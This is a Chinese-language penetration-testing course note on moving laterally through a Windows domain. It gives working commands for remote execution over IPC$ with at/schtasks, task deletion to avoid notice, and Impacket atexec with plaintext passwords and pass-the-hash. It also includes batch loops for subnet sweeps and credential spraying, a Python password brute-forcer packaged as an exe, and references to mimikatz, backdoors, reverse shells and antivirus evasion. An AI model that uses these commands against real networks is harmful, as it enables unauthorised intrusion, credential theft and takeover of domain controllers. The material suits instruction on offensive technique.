66内网安全-域横向批量at&schtask&impacket
域环境下面的传递工具,分为两类。一个是传递一个是漏洞,
传递的第一个协议at&schtask
这里老师给了每一个靶机的账户以及密码,观察一下其规律性,
案例一横向渗透明文传递 at&schtasks
在拿下一台内网主机后,通过本地信息搜集收集用户凭证等信息(明文密码或者hash值)后,如何横向渗透拿下更多的主机?
at&schtasks,这两条命令可以在已知的目标系统上面获取到明文密码的基础上,可以直接在目标主机上远程执行命令,
获取某主域主机权限,》利用mimikatz得到密码或者hash值,》用到信息收集里面的域用户的列表当作用户名字典,用到密码明文当密码字典;》尝试连接;》创建计划任务at&schtasks;执行文件可为后门和相关命令
利用流程
简历ipc链接到目标主机
拷贝要执行的命令脚本到目标主机
查看目标时间,创造计划任务(at&schtasks)定时执行把脚本拷贝到目标主机
删除ipc链接
建立 IPC 失败的原因
---(1)目标系统不是NT 或以上的操作系统(win2003以上)
---(2)对方没有打开IPC$共享
---(3)对方未开启139、445 端口,或者被防火墙屏蔽
---(4)输出命令、账号密码有错误
at是针对windwos操作系统版本小于2012的主机
现在我们已经获取到了网站服务器的权限,就是这个webserver,探针到了域控的ip是192.168.3.21
注意;这里不是域控的用户没有办法访问域的有关东西,
假设已经知道了域控的密码,(mimikatz获取,hash等等);开始渗透
然后我们现在,创建好我们的攻击脚本,这是一个创建用户的命令,这是做测试用到;在实战情况下,这个多半是木马比如msf木马,放上去执行之后就会成功的上线,反弹一个shell过来,
复制文件过去,设置计划任务
25分之后查看域控的用户
这就一个创建出来的小迪用户
schtasks是针对操作系统版本大于等于2012的主机
在操作系统大于2012的主机上,运行这个at就会提示改用schtasks,
先建立ipc链接
之后就是上传文件
建 adduser 任务对应执行文件
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F
---创建一个以system权限的,名为adduser的,时间为每日任务(延时执行),执行文件c:\add.bat的,计划任务
到执行计划任务时间之后查看
#为了不让对方发现,删除 adduser 任务
--- schtasks /delete /s 192.168.3.32 /tn adduser /f
这个前提条件是获取到了账户的明文密码,但是我们得到的可能不是密码,也可能是hash值,如果我们获得是hash值,上面这两个命令就不能用hash值执行,
案例二横向渗透明文 HASH 传递 impacket
所以我门就会借助一个工具包, impacket
---atexec是Impacket网络协议工具包中的一个工具。Impacket工具包介绍:https://www.freebuf.com/sectool/175208.html
这里老师下载的exe版本,在内网里面肯定要exe版本,
下载地址:https://gitee.com/RichChigga/impacket-examples-windows/repository/archive/master.zip
这个工具的使用也非常简单,
-连接域控本地administrator,发现是system权限
atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami"
直接是系统权限,自带提权,因为他这个是计划任务。和正确计划任务提权的原理一样,
他也支持hash值的传输,把参数改一下就行
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"
优点;方便快捷,自动提权,缺点;不是自带的,有杀软干扰,要做一下免杀,
案例三横向渗透明文 HASH 传递批量利用-综合
上一个案例是假设的已经拿到了账户密码
而这个案例就讲解一下全过程,这里就只有webshell权限,
先打开mimikatz,获取肉鸡的密码
然后用系统自带的命令,去ping内网的其他主机的ip,
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="
然后排除这个肉鸡的ip,
然后我们就可以根据在肉鸡获取到的密码,我们就可以写个脚本去测试,去批量检测在这个域里面的使用几率,
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami
ips.txt就是存放域ip的文件,然后循环个这个i值,然后用到 atexec.exe 去链接目标主机本地的administrator用admin!@#45作为密码去链接,后门这个变量i也是传输ip值,实现ip的多检测,执行whoami命令
atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami"
原型命令是长这样的
这有一个ip就返回的系统权限,
这就说明这个ip的管理员用户采用的密码是同一个密码,
然后就可以利用这个执行命令,就执行一个反弹或者后门,又因为本身就是系统权限,提权都不用了。直接上线一个系统权限肉鸡,
然后在执行mimikatz又获取打了一些密码,把密码写到密码字典,在以字典形式去测试,就这样反复收集信息测试,在执行刚刚的命令
这个ip有返回的系统权限,这个ip是域控ip,拿下域控权限,任务完成
这个就是通过一个webshell服务器的密码,探针到了一个办公pc端,再接着扩充自己的密码字典,又就
FOR /F %%i in (ips.txt) do net use \%%i\ipc$ “admin!@#45” /user:administrator #批量检测IP对应明文连接
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami
#批最检测IP对应明文回显版
FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%i@192.168.3.21 whoami
#批量检测明文对应IP回显版
FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i./administrator@192.168.3.21 whoami #批量检测HASH对应IP回显版
横向渗透明文 HASH 传递批量利用-升级版
py有第三方库,可以把写的脚本打包成exe,而且在免杀这个专题里面,用python做免杀也是很多的,用c语言写也可以,易语言写的简单方便,用易语言写的程序很多都容易被干掉,他有那个误报,用C语言写会比较好,用C语言写大家都不懂,因为大家都没有学过C++这门语言,这个时候py的优点就突出来了,我们就不用考虑脚本,对方装没装这个py脚本,常规来讲,我们都是在写py文件,用py来运行他,但是py也支持打包成exe,自己装个库就完事了
然后我们想,用户名和密码和hash值同时作为字典,三个参数一起变,这效率可高多了,但是老师不会写php的就写了给python的任何打包成了exe文件,
python代码
net use \\192.168.3.32\ipc$ admin!@#45 /user:god\dbadmin
#pip install pyinstaller
#pyinstaller -F fuck_neiwang_001.py 生成可执行EXE
import os,time
ips={
'192.168.3.21',
'192.168.3.25',
'192.168.3.29',
'192.168.3.30',
'192.168.3.31',
'192.168.3.33'
}
users={
'Administrator',
'boss',
'dbadmin',
'fileadmin',
'mack',
'mary',
'vpnadm',
'webadmin'
}
passs={
'admin',
'admin!@#45',
'Admin12345'
}
for ip in ips:
for user in users:
for mima in passs:
exec="net use \\"+ "\\"+ip+'\ipc$ '+mima+' /user:god\\'+user
print('--->'+exec+'<---')
os.system(exec)
time.sleep(1)
用域用户名链接的时候用户名的后门要跟上:god,因为不是本地用户
用户名字典就是用查看所有域用户名收集出来的,
这个代码嵌套了三个循环,然后构造好攻击语句,等于exec,之后在打印exec,并延时一秒避免崩溃,
安装好插件之后会打包一个exe文件
然后把python文件放到这个目录,
就会生成到这个目录下面
然后上传到肉鸡,直接运行这个exe文件
等他出来运行结果就可以了,然后这里能连接上的,就可以执行案例一的操作,进行计划任务,
执行完之后,执行一个net use 查看域的链接
就能知道那些ip的密码被爆破成功了
攻击不成功的原因:防火墙,把139、445端口屏蔽了,外部无法链接;
fa
cai